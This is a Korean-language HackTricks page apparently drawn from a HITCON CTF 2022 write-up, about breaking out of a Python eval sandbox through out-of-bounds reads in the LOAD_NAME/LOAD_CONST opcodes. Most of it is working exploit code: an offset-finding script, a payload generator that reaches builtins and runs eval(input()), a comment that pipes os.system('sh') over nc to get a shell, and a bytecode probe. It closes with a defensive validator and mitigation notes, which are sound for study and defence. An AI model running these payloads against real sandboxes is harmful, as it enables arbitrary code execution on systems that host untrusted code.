LOAD_NAME / LOAD_CONST opcode OOB Read

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ์ •๋ณด๋Š” ์ด ๊ธ€์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค.

TL;DR

LOAD_NAME / LOAD_CONST opcode์˜ OOB read ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ผ๋ถ€ ์‹ฌ๋ณผ์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” (a, b, c, ... ์ˆ˜๋ฐฑ ๊ฐœ์˜ ์‹ฌ๋ณผ ..., __getattribute__) if [] else [].__getattribute__(...)์™€ ๊ฐ™์€ ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•˜์—ฌ ์›ํ•˜๋Š” ์‹ฌ๋ณผ(์˜ˆ: ํ•จ์ˆ˜ ์ด๋ฆ„)์„ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋‹น์‹ ์˜ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ž‘์„ฑํ•˜์„ธ์š”.

Overview

์†Œ์Šค ์ฝ”๋“œ๋Š” ๋งค์šฐ ์งง๊ณ , ๋‹จ 4์ค„๋งŒ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค!

source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, 'โˆ…', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234

์ž„์˜์˜ Python ์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” Python ์ฝ”๋“œ ๊ฐ์ฒด๋กœ ์ปดํŒŒ์ผ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ํ•ด๋‹น ์ฝ”๋“œ ๊ฐ์ฒด์˜ co_consts์™€ co_names๋Š” ๊ทธ ์ฝ”๋“œ ๊ฐ์ฒด๋ฅผ evalํ•˜๊ธฐ ์ „์— ๋นˆ ํŠœํ”Œ๋กœ ๋Œ€์ฒด๋ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ด ๋ฐฉ์‹์œผ๋กœ ๋ชจ๋“  ํ‘œํ˜„์‹์ด const(์˜ˆ: ์ˆซ์ž, ๋ฌธ์ž์—ด ๋“ฑ) ๋˜๋Š” ์ด๋ฆ„(์˜ˆ: ๋ณ€์ˆ˜, ํ•จ์ˆ˜)์„ ํฌํ•จํ•˜๋ฉด ๊ฒฐ๊ตญ ์„ธ๊ทธ๋ฉ˜ํ…Œ์ด์…˜ ์˜ค๋ฅ˜๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Out of Bound Read

์„ธ๊ทธ๋ฉ˜ํ…Œ์ด์…˜ ์˜ค๋ฅ˜๋Š” ์–ด๋–ป๊ฒŒ ๋ฐœ์ƒํ•˜๋‚˜์š”?

๊ฐ„๋‹จํ•œ ์˜ˆ๋กœ ์‹œ์ž‘ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. [a, b, c]๋Š” ๋‹ค์Œ ๋ฐ”์ดํŠธ์ฝ”๋“œ๋กœ ์ปดํŒŒ์ผ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

1           0 LOAD_NAME                0 (a)
2 LOAD_NAME                1 (b)
4 LOAD_NAME                2 (c)
6 BUILD_LIST               3
8 RETURN_VALUE12345

ํ•˜์ง€๋งŒ co_names๊ฐ€ ๋นˆ ํŠœํ”Œ์ด ๋œ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ๋ ๊นŒ์š”? LOAD_NAME 2 opcode๋Š” ์—ฌ์ „ํžˆ ์‹คํ–‰๋˜๋ฉฐ, ์›๋ž˜ ์ฝ์–ด์•ผ ํ•  ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ์—์„œ ๊ฐ’์„ ์ฝ์œผ๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๋„ค, ์ด๊ฒƒ์€ ๊ฒฝ๊ณ„ ์ดˆ๊ณผ ์ฝ๊ธฐ โ€œ๊ธฐ๋Šฅโ€œ์ž…๋‹ˆ๋‹ค.

ํ•ด๊ฒฐ์ฑ…์˜ ํ•ต์‹ฌ ๊ฐœ๋…์€ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. CPython์˜ ์ผ๋ถ€ opcode, ์˜ˆ๋ฅผ ๋“ค์–ด LOAD_NAME๊ณผ LOAD_CONST๋Š” OOB ์ฝ๊ธฐ์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค(?).

์ด๋“ค์€ consts ๋˜๋Š” names ํŠœํ”Œ์—์„œ oparg ์ธ๋ฑ์Šค์˜ ๊ฐ์ฒด๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค(๊ทธ๊ฒƒ์ด co_consts์™€ co_names๊ฐ€ ๋‚ด๋ถ€์ ์œผ๋กœ ๋ช…๋ช…๋œ ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค). CPython์ด LOAD_CONST opcode๋ฅผ ์ฒ˜๋ฆฌํ•  ๋•Œ ์–ด๋–ค ์ผ์„ ํ•˜๋Š”์ง€ ๋ณด๊ธฐ ์œ„ํ•ด LOAD_CONST์— ๋Œ€ํ•œ ๋‹ค์Œ์˜ ์งง์€ ์Šค๋‹ˆํŽซ์„ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567

์ด ๋ฐฉ๋ฒ•์œผ๋กœ ์šฐ๋ฆฌ๋Š” OOB ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž„์˜์˜ ๋ฉ”๋ชจ๋ฆฌ ์˜คํ”„์…‹์—์„œ โ€œ์ด๋ฆ„โ€œ์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์–ด๋–ค ์ด๋ฆ„์ด ์žˆ๋Š”์ง€์™€ ๊ทธ ์˜คํ”„์…‹์ด ๋ฌด์—‡์ธ์ง€ ํ™•์ธํ•˜๋ ค๋ฉด LOAD_NAME 0, LOAD_NAME 1 โ€ฆ LOAD_NAME 99 โ€ฆ๋ฅผ ๊ณ„์† ์‹œ๋„ํ•ด ๋ณด์„ธ์š”. oparg > 700์—์„œ ๋ฌด์–ธ๊ฐ€๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฌผ๋ก  gdb๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ ๋ ˆ์ด์•„์›ƒ์„ ์‚ดํŽด๋ณผ ์ˆ˜๋„ ์žˆ์ง€๋งŒ, ๊ทธ๋ ‡๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ด ๋” ์‰ฌ์šธ ๊ฒƒ ๊ฐ™์ง€๋Š” ์•Š์Šต๋‹ˆ๋‹ค.

Exploit ์ƒ์„ฑํ•˜๊ธฐ

์œ ์šฉํ•œ ์ด๋ฆ„/const์˜ ์˜คํ”„์…‹์„ ๊ฐ€์ ธ์˜จ ํ›„, ๊ทธ ์˜คํ”„์…‹์—์„œ ์ด๋ฆ„/const๋ฅผ ์–ด๋–ป๊ฒŒ ๊ฐ€์ ธ์™€์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์„๊นŒ์š”? ๋‹ค์Œ์€ ๋‹น์‹ ์„ ์œ„ํ•œ ํŠธ๋ฆญ์ž…๋‹ˆ๋‹ค:
์˜คํ”„์…‹ 5(LOAD_NAME 5)์—์„œ __getattribute__ ์ด๋ฆ„์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค(co_names=()). ๊ทธ๋Ÿฌ๋ฉด ๋‹ค์Œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜์„ธ์š”:

[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234

__getattribute__๋ผ๊ณ  ์ด๋ฆ„์„ ๋ถ™์ผ ํ•„์š”๋Š” ์—†์œผ๋ฉฐ, ๋” ์งง๊ฑฐ๋‚˜ ์ด์ƒํ•œ ์ด๋ฆ„์œผ๋กœ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ ์ด์œ ๋Š” ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ ๋ณด๊ธฐ๋งŒ ํ•ด๋„ ์ดํ•ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

0 BUILD_LIST               0
2 POP_JUMP_IF_FALSE       20
>>    4 LOAD_NAME                0 (a)
>>    6 LOAD_NAME                1 (b)
>>    8 LOAD_NAME                2 (c)
>>   10 LOAD_NAME                3 (d)
>>   12 LOAD_NAME                4 (e)
>>   14 LOAD_NAME                5 (__getattribute__)
16 BUILD_LIST               6
18 RETURN_VALUE
20 BUILD_LIST               0
>>   22 LOAD_ATTR                5 (__getattribute__)
24 BUILD_LIST               1
26 RETURN_VALUE1234567891011121314

LOAD_ATTR๋Š” co_names์—์„œ ์ด๋ฆ„์„ ๊ฒ€์ƒ‰ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. Python์€ ์ด๋ฆ„์ด ๋™์ผํ•  ๊ฒฝ์šฐ ๋™์ผํ•œ ์˜คํ”„์…‹์—์„œ ์ด๋ฆ„์„ ๋กœ๋“œํ•˜๋ฏ€๋กœ ๋‘ ๋ฒˆ์งธ __getattribute__๋„ offset=5์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜๋ฉด ์ด๋ฆ„์ด ๋ฉ”๋ชจ๋ฆฌ ๊ทผ์ฒ˜์— ์žˆ์„ ๋•Œ ์ž„์˜์˜ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ˆซ์ž๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์€ ๊ฐ„๋‹จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • 0: not [[]]
  • 1: not []
  • 2: (not []) + (not [])
  • โ€ฆ

Exploit Script

๊ธธ์ด ์ œํ•œ ๋•Œ๋ฌธ์— consts๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.

๋จผ์ € ์ด๋ฆ„์˜ ์˜คํ”„์…‹์„ ์ฐพ๊ธฐ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค.

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k


if __name__ == '__main__':
n = int(argv[1])

code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]

c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)

ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')

# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132

๋‹ค์Œ์€ ์‹ค์ œ Python ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

import sys
import unicodedata


class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'

# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'


_ = Generator()

names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break

offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}

variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)

for name, offset in offsets.items():
names[offset] = name

for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var


source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')

print(f"{len(source) = }", file=sys.stderr)
print(source)

# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273

๊ธฐ๋ณธ์ ์œผ๋กœ __dir__ ๋ฉ”์„œ๋“œ์—์„œ ๊ฐ€์ ธ์˜จ ๋ฌธ์ž์—ด์— ๋Œ€ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())

๋ฒ„์ „ ๋…ธํŠธ ๋ฐ ์˜ํ–ฅ์„ ๋ฐ›๋Š” opcode (Python 3.11โ€“3.13)

  • CPython ๋ฐ”์ดํŠธ์ฝ”๋“œ opcode๋Š” ์—ฌ์ „ํžˆ ์ •์ˆ˜ ํ”ผ์—ฐ์‚ฐ์ž๋กœ co_consts ๋ฐ co_names ํŠœํ”Œ์— ์ธ๋ฑ์‹ฑํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋Ÿฌํ•œ ํŠœํ”Œ์„ ๋น„์›Œ๋‘๊ฑฐ๋‚˜(๋˜๋Š” ๋ฐ”์ดํŠธ์ฝ”๋“œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ตœ๋Œ€ ์ธ๋ฑ์Šค๋ณด๋‹ค ์ž‘๊ฒŒ) ๊ฐ•์ œ๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ธํ„ฐํ”„๋ฆฌํ„ฐ๋Š” ํ•ด๋‹น ์ธ๋ฑ์Šค์— ๋Œ€ํ•ด ๊ฒฝ๊ณ„ ๋ฐ– ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์ฝ๊ฒŒ ๋˜์–ด ์ธ๊ทผ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ์ž„์˜์˜ PyObject ํฌ์ธํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ด€๋ จ opcode์—๋Š” ์ตœ์†Œํ•œ ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค:
  • LOAD_CONST consti โ†’ co_consts[consti]๋ฅผ ์ฝ์Šต๋‹ˆ๋‹ค.
  • LOAD_NAME namei, STORE_NAME, DELETE_NAME, LOAD_GLOBAL, STORE_GLOBAL, IMPORT_NAME, IMPORT_FROM, LOAD_ATTR, STORE_ATTR โ†’ co_names[...]์—์„œ ์ด๋ฆ„์„ ์ฝ์Šต๋‹ˆ๋‹ค(3.11+์—์„œ๋Š” LOAD_ATTR/LOAD_GLOBAL์ด ๋‚ฎ์€ ๋น„ํŠธ์— ํ”Œ๋ž˜๊ทธ ๋น„ํŠธ๋ฅผ ์ €์žฅํ•˜๋ฏ€๋กœ ์‹ค์ œ ์ธ๋ฑ์Šค๋Š” namei >> 1์ž…๋‹ˆ๋‹ค). ๋ฒ„์ „๋ณ„ ์ •ํ™•ํ•œ ์˜๋ฏธ๋Š” ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ ๋ฌธ์„œ๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค. [Python dis docs].
  • Python 3.11+์—์„œ๋Š” ๋ช…๋ น์–ด ์‚ฌ์ด์— ์ˆจ๊ฒจ์ง„ CACHE ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€ํ•˜๋Š” ์ ์‘ํ˜•/์ธ๋ผ์ธ ์บ์‹œ๊ฐ€ ๋„์ž…๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” OOB ์›์‹œ๊ฐ’์„ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š์œผ๋ฉฐ, ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ ์ˆ˜๋™์œผ๋กœ ์ž‘์„ฑํ•  ๊ฒฝ์šฐ ์ด๋Ÿฌํ•œ ์บ์‹œ ํ•ญ๋ชฉ์„ co_code๋ฅผ ๊ตฌ์ถ•ํ•  ๋•Œ ๊ณ ๋ คํ•ด์•ผ ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์‹ค์šฉ์ ์ธ ์˜๋ฏธ: ์ด ํŽ˜์ด์ง€์˜ ๊ธฐ์ˆ ์€ ์ฝ”๋“œ ๊ฐ์ฒด๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์„ ๋•Œ(CODEType.replace(โ€ฆ)๋ฅผ ํ†ตํ•ด) CPython 3.11, 3.12 ๋ฐ 3.13์—์„œ ๊ณ„์† ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. co_consts/co_names๋ฅผ ์ถ•์†Œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์œ ์šฉํ•œ OOB ์ธ๋ฑ์Šค๋ฅผ ์œ„ํ•œ ๋น ๋ฅธ ์Šค์บ๋„ˆ (3.11+/3.12+ ํ˜ธํ™˜)

๊ณ ๊ธ‰ ์†Œ์Šค๊ฐ€ ์•„๋‹Œ ๋ฐ”์ดํŠธ์ฝ”๋“œ์—์„œ ์ง์ ‘ ํฅ๋ฏธ๋กœ์šด ๊ฐ์ฒด๋ฅผ ํƒ์ƒ‰ํ•˜๋Š” ๊ฒƒ์„ ์„ ํ˜ธํ•˜๋Š” ๊ฒฝ์šฐ, ์ตœ์†Œํ•œ์˜ ์ฝ”๋“œ ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ธ๋ฑ์Šค๋ฅผ ๋ฌด์ž‘์œ„๋กœ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜ ๋„์šฐ๋ฏธ๋Š” ํ•„์š”ํ•  ๋•Œ ์ž๋™์œผ๋กœ ์ธ๋ผ์ธ ์บ์‹œ๋ฅผ ์‚ฝ์ž…ํ•ฉ๋‹ˆ๋‹ค.

import dis, types

def assemble(ops):
# ops: list of (opname, arg) pairs
cache = bytes([dis.opmap.get("CACHE", 0), 0])
out = bytearray()
for op, arg in ops:
opc = dis.opmap[op]
out += bytes([opc, arg])
# Python >=3.11 inserts per-opcode inline cache entries
ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0)
out += cache * ncache
return bytes(out)

# Reuse an existing function's code layout to simplify CodeType construction
base = (lambda: None).__code__

# Example: probe co_consts[i] with LOAD_CONST i and return it
# co_consts/co_names are intentionally empty so LOAD_* goes OOB

def probe_const(i):
code = assemble([
("RESUME", 0),          # 3.11+
("LOAD_CONST", i),
("RETURN_VALUE", 0),
])
c = base.replace(co_code=code, co_consts=(), co_names=())
try:
return eval(c)
except Exception:
return None

for idx in range(0, 300):
obj = probe_const(idx)
if obj is not None:
print(idx, type(obj), repr(obj)[:80])

Notes

  • ์ด๋ฆ„์„ ์กฐ์‚ฌํ•˜๋ ค๋ฉด LOAD_CONST๋ฅผ LOAD_NAME/LOAD_GLOBAL/LOAD_ATTR๋กœ ๋ฐ”๊พธ๊ณ  ์Šคํƒ ์‚ฌ์šฉ์„ ์ ์ ˆํžˆ ์กฐ์ •ํ•˜์„ธ์š”.
  • ํ•„์š”ํ•˜๋‹ค๋ฉด EXTENDED_ARG ๋˜๋Š” ์—ฌ๋Ÿฌ ๋ฐ”์ดํŠธ์˜ arg๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ธ๋ฑ์Šค >255์— ๋„๋‹ฌํ•˜์„ธ์š”. ์œ„์™€ ๊ฐ™์ด dis๋กœ ๋นŒ๋“œํ•  ๋•Œ๋Š” ๋‚ฎ์€ ๋ฐ”์ดํŠธ๋งŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋” ํฐ ์ธ๋ฑ์Šค์˜ ๊ฒฝ์šฐ ์›์‹œ ๋ฐ”์ดํŠธ๋ฅผ ์ง์ ‘ ๊ตฌ์„ฑํ•˜๊ฑฐ๋‚˜ ์—ฌ๋Ÿฌ ๋กœ๋“œ์— ๊ฑธ์ณ ๊ณต๊ฒฉ์„ ๋ถ„ํ• ํ•˜์„ธ์š”.

์ตœ์†Œ ๋ฐ”์ดํŠธ์ฝ”๋“œ ์ „์šฉ RCE ํŒจํ„ด (co_consts OOB โ†’ builtins โ†’ eval/input)

co_consts ์ธ๋ฑ์Šค๊ฐ€ builtins ๋ชจ๋“ˆ๋กœ ํ•ด๊ฒฐ๋˜๋Š” ๊ฒƒ์„ ์‹๋ณ„ํ•œ ํ›„, ์Šคํƒ์„ ์กฐ์ž‘ํ•˜์—ฌ eval(input())์„ co_names ์—†์ด ์žฌ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Build co_code that:
# 1) LOAD_CONST <builtins_idx> โ†’ push builtins module
# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval'
#    out of objects living nearby in memory (e.g., from method tables),
# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.

์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ co_code์— ๋Œ€ํ•œ ์ง์ ‘์ ์ธ ์ œ์–ด๋ฅผ ์ œ๊ณตํ•˜๋ฉด์„œ co_consts=() ๋ฐ co_names=()๋ฅผ ๊ฐ•์ œํ•˜๋Š” ์ฑŒ๋ฆฐ์ง€์—์„œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: BCTF 2024 โ€œawpcodeโ€). ์ด๋Š” ์†Œ์Šค ์ˆ˜์ค€์˜ ํŠธ๋ฆญ์„ ํ”ผํ•˜๊ณ  ๋ฐ”์ดํŠธ์ฝ”๋“œ ์Šคํƒ ์—ฐ์‚ฐ ๋ฐ ํŠœํ”Œ ๋นŒ๋”๋ฅผ ํ™œ์šฉํ•˜์—ฌ ํŽ˜์ด๋กœ๋“œ ํฌ๊ธฐ๋ฅผ ์ž‘๊ฒŒ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.

์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์œ„ํ•œ ๋ฐฉ์–ด์  ๊ฒ€์‚ฌ ๋ฐ ์™„ํ™” ์กฐ์น˜

์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผ/ํ‰๊ฐ€ํ•˜๊ฑฐ๋‚˜ ์ฝ”๋“œ ๊ฐ์ฒด๋ฅผ ์กฐ์ž‘ํ•˜๋Š” Python โ€œ์ƒŒ๋“œ๋ฐ•์Šคโ€๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๊ฒฝ์šฐ, ๋ฐ”์ดํŠธ์ฝ”๋“œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ํŠœํ”Œ ์ธ๋ฑ์Šค์˜ ๊ฒฝ๊ณ„๋ฅผ ๊ฒ€์‚ฌํ•˜๋Š” ๋ฐ CPython์— ์˜์กดํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. ๋Œ€์‹ , ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ์ฝ”๋“œ ๊ฐ์ฒด๋ฅผ ์ง์ ‘ ๊ฒ€์ฆํ•˜์‹ญ์‹œ์˜ค.

์‹ค์šฉ์ ์ธ ๊ฒ€์ฆ๊ธฐ (co_consts/co_names์— ๋Œ€ํ•œ OOB ์ ‘๊ทผ ๊ฑฐ๋ถ€)

import dis

def max_name_index(code):
max_idx = -1
for ins in dis.get_instructions(code):
if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME",
"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}:
namei = ins.arg or 0
# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit
if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}:
namei >>= 1
max_idx = max(max_idx, namei)
return max_idx

def max_const_index(code):
return max([ins.arg for ins in dis.get_instructions(code)
if ins.opname == "LOAD_CONST"] + [-1])

def validate_code_object(code: type((lambda:0).__code__)):
if max_const_index(code) >= len(code.co_consts):
raise ValueError("Bytecode refers to const index beyond co_consts length")
if max_name_index(code) >= len(code.co_names):
raise ValueError("Bytecode refers to name index beyond co_names length")

# Example use in a sandbox:
# src = input(); c = compile(src, '<sandbox>', 'exec')
# c = c.replace(co_consts=(), co_names=())       # if you really need this, validate first
# validate_code_object(c)
# eval(c, {'__builtins__': {}})

์ถ”๊ฐ€์ ์ธ ์™„ํ™” ์•„์ด๋””์–ด

  • ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ž…๋ ฅ์— ๋Œ€ํ•ด ์ž„์˜์˜ CodeType.replace(...)๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š๊ฑฐ๋‚˜, ๊ฒฐ๊ณผ ์ฝ”๋“œ ๊ฐ์ฒด์— ๋Œ€ํ•œ ์—„๊ฒฉํ•œ ๊ตฌ์กฐ ๊ฒ€์‚ฌ๋ฅผ ์ถ”๊ฐ€ํ•˜์‹ญ์‹œ์˜ค.
  • CPython ์˜๋ฏธ์— ์˜์กดํ•˜๋Š” ๋Œ€์‹  OS ์ˆ˜์ค€์˜ ์ƒŒ๋“œ๋ฐ•์‹ฑ(์˜ˆ: seccomp, ์ž‘์—… ๊ฐ์ฒด, ์ปจํ…Œ์ด๋„ˆ)์œผ๋กœ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ๋ฅผ ๋ณ„๋„์˜ ํ”„๋กœ์„ธ์Šค์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ๊ณ ๋ คํ•˜์‹ญ์‹œ์˜ค.

์ฐธ์กฐ

  • Splitline์˜ HITCON CTF 2022 ์ž‘์„ฑ๋ฌผ โ€œV O I Dโ€ (์ด ๊ธฐ์ˆ ์˜ ๊ธฐ์› ๋ฐ ๊ณ ์ˆ˜์ค€ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฒด์ธ): https://blog.splitline.tw/hitcon-ctf-2022/
  • Python ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ ๋ฌธ์„œ (LOAD_CONST/LOAD_NAME/etc.์— ๋Œ€ํ•œ ์ธ๋ฑ์Šค ์˜๋ฏธ ๋ฐ 3.11+ LOAD_ATTR/LOAD_GLOBAL ์ €๋น„ํŠธ ํ”Œ๋ž˜๊ทธ): https://docs.python.org/3.13/library/dis.html

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
